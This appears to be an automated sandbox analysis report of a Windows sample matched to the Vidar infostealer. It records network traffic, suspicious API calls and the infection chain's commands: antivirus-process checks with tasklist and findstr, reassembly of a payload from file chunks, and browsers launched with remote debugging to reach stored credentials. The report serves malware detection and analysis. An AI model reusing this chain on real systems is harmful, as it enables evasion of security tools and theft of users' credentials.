Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 49.13.158.58:443 -> 192.168.2.7:49686 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D7F55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

12_2_00D7F55C

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D7F7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

12_2_00D7F7C7

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

12_2_00D7F55C

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D6A635 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

12_2_00D6A635

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D99FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

12_2_00D99FD2

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.Wake.com.3a10000.1.unpack, type: UNPACKEDPE

Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D74763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

12_2_00D74763

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D61B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

12_2_00D61B4D

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Code function: 0_2_004033FF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_004033FF
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D6F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		12_2_00D6F20D

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	File created: C:\Windows\RomaniaSuggests	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	File created: C:\Windows\ConstitutionalReceive	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	File created: C:\Windows\DirectorsAvailable	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	File created: C:\Windows\ExplanationLogging	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	File created: C:\Windows\EitherPuzzle	Jump to behavior

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Code function: 0_2_00406A03	0_2_00406A03
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D28017	12_2_00D28017
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D0E1F0	12_2_00D0E1F0
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D1E144	12_2_00D1E144
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D222A2	12_2_00D222A2
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D022AD	12_2_00D022AD
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D3A26E	12_2_00D3A26E
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D1C624	12_2_00D1C624
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D8C8A4	12_2_00D8C8A4
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D3E87F	12_2_00D3E87F
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D36ADE	12_2_00D36ADE
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D72A05	12_2_00D72A05
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D68BFF	12_2_00D68BFF
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D1CD7A	12_2_00D1CD7A
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D2CE10	12_2_00D2CE10
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D37159	12_2_00D37159
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D09240	12_2_00D09240
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D95311	12_2_00D95311
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D096E0	12_2_00D096E0
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D21704	12_2_00D21704
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D21A76	12_2_00D21A76
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D27B8B	12_2_00D27B8B
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D09B60	12_2_00D09B60
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D27DBA	12_2_00D27DBA
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D21D20	12_2_00D21D20
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D21FE7	12_2_00D21FE7

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\714380\Wake.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: String function: 00D1FD52 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: String function: 00D20DA0 appears 46 times

Source: jPKFh06jHI.exe, 00000000.00000003.1870216239.0000000000B13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs jPKFh06jHI.exe
Source: jPKFh06jHI.exe, 00000000.00000002.1876277331.0000000000B13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs jPKFh06jHI.exe

Source: jPKFh06jHI.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 12.2.Wake.com.3a10000.1.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@89/302@30/25

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D741FA GetLastError,FormatMessageW,

12_2_00D741FA

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D62010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		12_2_00D62010
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D61A0B AdjustTokenPrivileges,CloseHandle,		12_2_00D61A0B

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D75CF5 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

12_2_00D75CF5

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D6DD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

12_2_00D6DD87

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D84189 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

12_2_00D84189

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D73A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

12_2_00D73A0E

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\ELAIX04D.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6940:120:WilError_03

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

File created: C:\Users\user~1\AppData\Local\Temp\nszFDAB.tmp

Jump to behavior

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat

Source: jPKFh06jHI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 00000010.00000002.1347387744.0000203C008FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 16phvsjmg.12.dr, w47qq9rqq.12.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: jPKFh06jHI.exe	ReversingLabs: Detection: 41%
Source: jPKFh06jHI.exe	Virustotal: Detection: 35%

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

File read: C:\Users\user\Desktop\jPKFh06jHI.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\jPKFh06jHI.exe "C:\Users\user\Desktop\jPKFh06jHI.exe"
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 714380
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Hiv.jar
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "prague" Mean
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 714380\Wake.com + Valuable + Concert + Cap + Continuously + Portable + Electro + Volleyball + Alien + Convicted + Acids + Assumes 714380\Wake.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Revelation.jar + ..\Keyboard.jar + ..\Ellis.jar + ..\Leaves.jar + ..\Grass.jar T
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\714380\Wake.com Wake.com T
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2292,i,16634395396908281,15865996952827246330,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2440 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2220,i,16376653140617758097,345704766534090837,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6936 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7248 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7184 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 714380	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Hiv.jar	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "prague" Mean	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 714380\Wake.com + Valuable + Concert + Cap + Continuously + Portable + Electro + Volleyball + Alien + Convicted + Acids + Assumes 714380\Wake.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Revelation.jar + ..\Keyboard.jar + ..\Ellis.jar + ..\Leaves.jar + ..\Grass.jar T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\714380\Wake.com Wake.com T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2292,i,16634395396908281,15865996952827246330,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2440 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2220,i,16376653140617758097,345704766534090837,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
